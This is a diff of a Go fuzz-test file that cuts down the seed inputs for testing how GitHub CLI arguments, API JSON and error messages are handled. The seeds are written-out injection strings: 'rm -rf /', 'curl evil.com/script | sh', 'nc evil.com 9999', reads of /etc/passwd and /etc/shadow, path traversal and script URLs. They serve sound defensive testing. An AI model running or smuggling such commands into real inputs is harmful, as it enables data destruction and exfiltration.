@@ -19,62 +19,46 @@ import (
1919var ErrCommandFailed = errors .New ("command failed" )
2020
2121func FuzzGitHubCLIArgs (f * testing.F ) {
22- // Add seed corpus for different CLI argument scenarios
22+ // Add seed corpus - optimized to 20 high-value security test cases
2323 seeds := []struct {
2424 command string
2525 repo string
2626 arg1 string
2727 arg2 string
2828 }{
29- // Valid commands
29+ // Valid commands (3)
3030 {"gh" , "org/repo" , "api" , "repos/org/repo/branches" },
3131 {"gh" , "user/project" , "api" , "repos/user/project/pulls" },
3232 {"gh" , "company/app" , "api" , "repos/company/app/commits/main" },
3333
34- // Command injection attempts in repo names
34+ // Command injection attempts (5)
3535 {"gh" , "org/repo; rm -rf /" , "api" , "repos/org/repo; rm -rf //branches" },
3636 {"gh" , "org/repo && curl evil.com" , "api" , "repos/org/repo && curl evil.com/branches" },
3737 {"gh" , "org/repo`whoami`" , "api" , "repos/org/repo`whoami`/branches" },
3838 {"gh" , "org/repo$(cat /etc/passwd)" , "api" , "repos/org/repo$(cat /etc/passwd)/branches" },
3939 {"gh" , "org/repo|tee /tmp/pwned" , "api" , "repos/org/repo|tee /tmp/pwned/branches" },
40- {"gh" , "org/repo > /dev/null" , "api" , "repos/org/repo > /dev/null/branches" },
41- {"gh" , "org/repo < /etc/passwd" , "api" , "repos/org/repo < /etc/passwd/branches" },
4240
43- // Path traversal in repo names
41+ // Path traversal (3)
4442 {"gh" , "../../../etc/passwd" , "api" , "repos/../../../etc/passwd/branches" },
45- {"gh" , "../../root/.ssh" , "api" , "repos/../../root/.ssh/branches" },
4643 {"gh" , "~/../../etc/shadow" , "api" , "repos/~/../../etc/shadow/branches" },
4744 {"gh" , "$HOME/../etc/hosts" , "api" , "repos/$HOME/../etc/hosts/branches" },
4845
49- // Special characters in arguments
50- {"gh" , "org/repo" , "api" , "repos/org/repo/branches; rm -rf /" },
51- {"gh" , "org/repo" , "api" , "repos/org/repo/pulls`whoami`" },
52- {"gh" , "org/repo" , "api" , "repos/org/repo/commits$(id)" },
53- {"gh" , "org/repo" , "api" , "repos/org/repo/contents|nc evil.com 9999" },
54-
55- // Unicode and special encoding
56- {"gh" , "🎉/🎉" , "api" , "repos/🎉/🎉/branches" },
46+ // Special characters (3)
5747 {"gh" , "org/repo" , "api" , "repos/org/repo/branches\x00 " },
5848 {"gh" , "org/repo\n " , "api" , "repos/org/repo\n /branches" },
59- {"gh" , "org/repo\r \n " , "api" , "repos/org/repo\r \n /branches" },
49+ {"gh" , "org/repo" , "api" , "repos/org/repo/branches; rm -rf / " },
6050
61- // Extremely long arguments
51+ // Long inputs (2)
6252 {"gh" , strings .Repeat ("a" , 1000 ), "api" , "repos/" + strings .Repeat ("a" , 1000 ) + "/branches" },
6353 {"gh" , "org/repo" , "api" , strings .Repeat ("repos/org/repo/" , 100 ) + "branches" },
6454
65- // Empty and whitespace arguments
66- {"gh" , "" , "api" , "repos//branches" },
67- {"gh" , " " , "api" , "repos/ /branches" },
68- {"gh" , "\t " , "api" , "repos/\t /branches" },
69- {"gh" , "org/repo" , "" , "repos/org/repo/branches" },
70- {"gh" , "org/repo" , " " , "repos/org/repo/branches" },
71-
72- // Flag-like arguments that could be misinterpreted
55+ // Flag-like arguments (2)
7356 {"gh" , "-rf" , "api" , "repos/-rf/branches" },
7457 {"gh" , "--help" , "api" , "repos/--help/branches" },
75- {"gh" , "-" , "api" , "repos/-/branches" },
76- {"gh" , "org/repo" , "--force" , "repos/org/repo/branches" },
77- {"gh" , "org/repo" , "-f" , "state=open" },
58+
59+ // Empty/whitespace (2)
60+ {"gh" , "" , "api" , "repos//branches" },
61+ {"gh" , " " , "api" , "repos/ /branches" },
7862 }
7963
8064 for _ , seed := range seeds {
@@ -152,83 +136,67 @@ func FuzzGitHubCLIArgs(f *testing.F) {
152136}
153137
154138func FuzzJSONParsing (f * testing.F ) {
155- // Add seed corpus for different JSON scenarios
139+ // Add seed corpus - optimized to 40 high-value security test cases
156140 seeds := []string {
157- // Valid GitHub API responses
141+ // Valid GitHub API responses (3)
158142 `{"name": "master", "protected": false, "commit": {"sha": "abc123", "url": "https://api.github.com/repos/org/repo/commits/abc123"}}` ,
159143 `[{"name": "master"}, {"name": "develop"}]` ,
160144 `{"number": 1, "state": "open", "title": "Test PR", "body": "Description", "head": {"ref": "feature", "sha": "def456"}, "base": {"ref": "master", "sha": "abc123"}}` ,
161- `{"sha": "abc123", "commit": {"message": "Initial commit", "author": {"name": "John Doe", "email": "john@example.com"}}}` ,
162- `{"path": "README.md", "content": "SGVsbG8gV29ybGQ=", "encoding": "base64", "sha": "abc123"}` ,
163145
164- // Malformed JSON
146+ // Malformed JSON (5)
165147 `{` ,
166- `}` ,
167- `{{{` ,
168148 `}}}` ,
169149 `{"name": }` ,
170150 `{"name": "value"` ,
171- `{"name": "value",}` ,
172151 `[{"name": "master"` ,
173- `]` ,
174152
175- // Command injection attempts in JSON values
153+ // Command injection in JSON values (6)
176154 `{"name": "main; rm -rf /", "protected": false}` ,
177155 `{"title": "PR` + "`whoami`" + `", "body": "test"}` ,
178156 `{"message": "commit$(cat /etc/passwd)", "author": {"name": "test"}}` ,
179157 `{"path": "file|nc evil.com 9999", "content": "test"}` ,
180158 `{"name": "branch && curl evil.com/script | sh", "protected": true}` ,
181159 `{"body": "text > /tmp/pwned", "title": "test"}` ,
182- `{"name": "branch < /etc/passwd", "protected": false}` ,
183160
184- // Path traversal in JSON values
161+ // Path traversal (4)
185162 `{"path": "../../../etc/passwd", "content": "test"}` ,
186163 `{"name": "../../etc/shadow", "protected": false}` ,
187164 `{"title": "PR for ~/../../root/.ssh", "body": "test"}` ,
188165 `{"message": "Update $HOME/../etc/hosts", "author": {"name": "test"}}` ,
189166
190- // Null bytes and special characters
167+ // Special characters (5)
191168 `{"name": "main\x00", "protected": false}` ,
192169 `{"title": "PR\n\rtest", "body": "desc"}` ,
193170 `{"message": "commit\ttab", "author": {"name": "test"}}` ,
194171 `{"path": "file\"quote", "content": "test"}` ,
195172 `{"name": "branch'single", "protected": false}` ,
196- `{"body": "text\\backslash", "title": "test"}` ,
197173
198- // Unicode and internationalization
174+ // Unicode (3)
199175 `{"name": "🎉-feature", "protected": false}` ,
200176 `{"title": "PR with émojis 🚀", "body": "test"}` ,
201- `{"message": "Commit résumé français", "author": {"name": "Jean"}}` ,
202177 `{"path": "файл.txt", "content": "test"}` ,
203178
204- // Very large JSON
179+ // Large/nested JSON (3)
205180 `{"name": "` + strings .Repeat ("a" , 10000 ) + `", "protected": false}` ,
206- `{"title": "` + strings .Repeat ("PR" , 5000 ) + `", "body": "test"}` ,
207181 `[` + strings .Repeat (`{"name": "branch"},` , 1000 ) + `{"name": "last"}]` ,
208-
209- // Deeply nested JSON
210182 `{"a": {"b": {"c": {"d": {"e": {"f": {"g": {"h": {"i": {"j": "deep"}}}}}}}}}}` ,
211- strings .Repeat (`{"level":` , 100 ) + `"deep"` + strings .Repeat (`}` , 100 ),
212183
213- // JSON with unusual data types
184+ // Unusual types (3)
214185 `{"number": "string_instead_of_int", "protected": "not_boolean"}` ,
215186 `{"created_at": "not_a_date", "merged_at": 12345}` ,
216187 `{"labels": "should_be_array", "parents": {"should": "be_array"}}` ,
217188
218- // Empty and minimal JSON
189+ // Empty/ minimal (3)
219190 `{}` ,
220191 `[]` ,
221192 `null` ,
222- `""` ,
223- `0` ,
224- `true` ,
225- `false` ,
226193
227- // JSON with suspicious URLs
194+ // Suspicious URLs (5)
228195 `{"url": "file:///etc/passwd", "name": "test"}` ,
229196 `{"url": "javascript:alert(1)", "name": "test"}` ,
230197 `{"url": "data:text/html,<script>alert(1)</script>", "name": "test"}` ,
231198 `{"url": "http://evil.com/malware.exe", "name": "test"}` ,
199+ `{"path": "README.md", "content": "SGVsbG8gV29ybGQ=", "encoding": "base64", "sha": "abc123"}` ,
232200 }
233201
234202 for _ , seed := range seeds {
@@ -501,60 +469,46 @@ func validateGenericJSON(t *testing.T, data interface{}) {
501469
502470// Test error handling patterns
503471func FuzzErrorHandling (f * testing.F ) {
504- // Add seed corpus for different error scenarios
472+ // Add seed corpus - optimized to 25 high-value security test cases
505473 seeds := []string {
506- // Standard GitHub API errors
474+ // Standard GitHub API errors (5)
507475 "404 Not Found" ,
508476 "403 Forbidden" ,
509477 "401 Unauthorized" ,
510- "422 Unprocessable Entity" ,
511478 "500 Internal Server Error" ,
512- "502 Bad Gateway" ,
513479 "503 Service Unavailable" ,
514480
515- // gh CLI error patterns
481+ // gh CLI error patterns (5)
516482 "gh: could not resolve repository" ,
517483 "gh: Not Found (HTTP 404)" ,
518484 "gh: Forbidden (HTTP 403)" ,
519485 "Error: repository not found" ,
520486 "Error: branch not found" ,
521- "Error: pull request not found" ,
522- "Error: file not found" ,
523- "Error: commit not found" ,
524487
525- // Command injection in error messages
488+ // Command injection (4)
526489 "Error: repository not found; rm -rf /" ,
527490 "404 Not Found`whoami`" ,
528491 "Error: branch $(cat /etc/passwd) not found" ,
529492 "gh: could not resolve|nc evil.com 9999" ,
530- "Error: > /tmp/pwned" ,
531- "404 < /etc/passwd" ,
532493
533- // Path traversal in error messages
494+ // Path traversal (3)
534495 "Error: ../../../etc/passwd not found" ,
535496 "404: ../../root/.ssh" ,
536- "Error: ~/../../etc/shadow not accessible" ,
537497 "gh: could not resolve $HOME/../etc/hosts" ,
538498
539- // Special characters in error messages
499+ // Special characters (3)
540500 "Error: repo\x00 not found" ,
541501 "404\n \r Not Found" ,
542- "Error: branch\t tab not found" ,
543502 "gh: \" quote\" error" ,
544- "Error: 'single' quote issue" ,
545- "404: \\ backslash problem" ,
546503
547- // Very long error messages
504+ // Long messages (2)
548505 "Error: " + strings .Repeat ("a" , 10000 ) + " not found" ,
549506 "404: " + strings .Repeat ("Not Found " , 1000 ),
550507
551- // Empty and minimal errors
508+ // Empty/ minimal (3)
552509 "" ,
553- " " ,
554510 "Error:" ,
555511 "404" ,
556- "\n " ,
557- "\t " ,
558512 }
559513
560514 for _ , seed := range seeds {
0 commit comments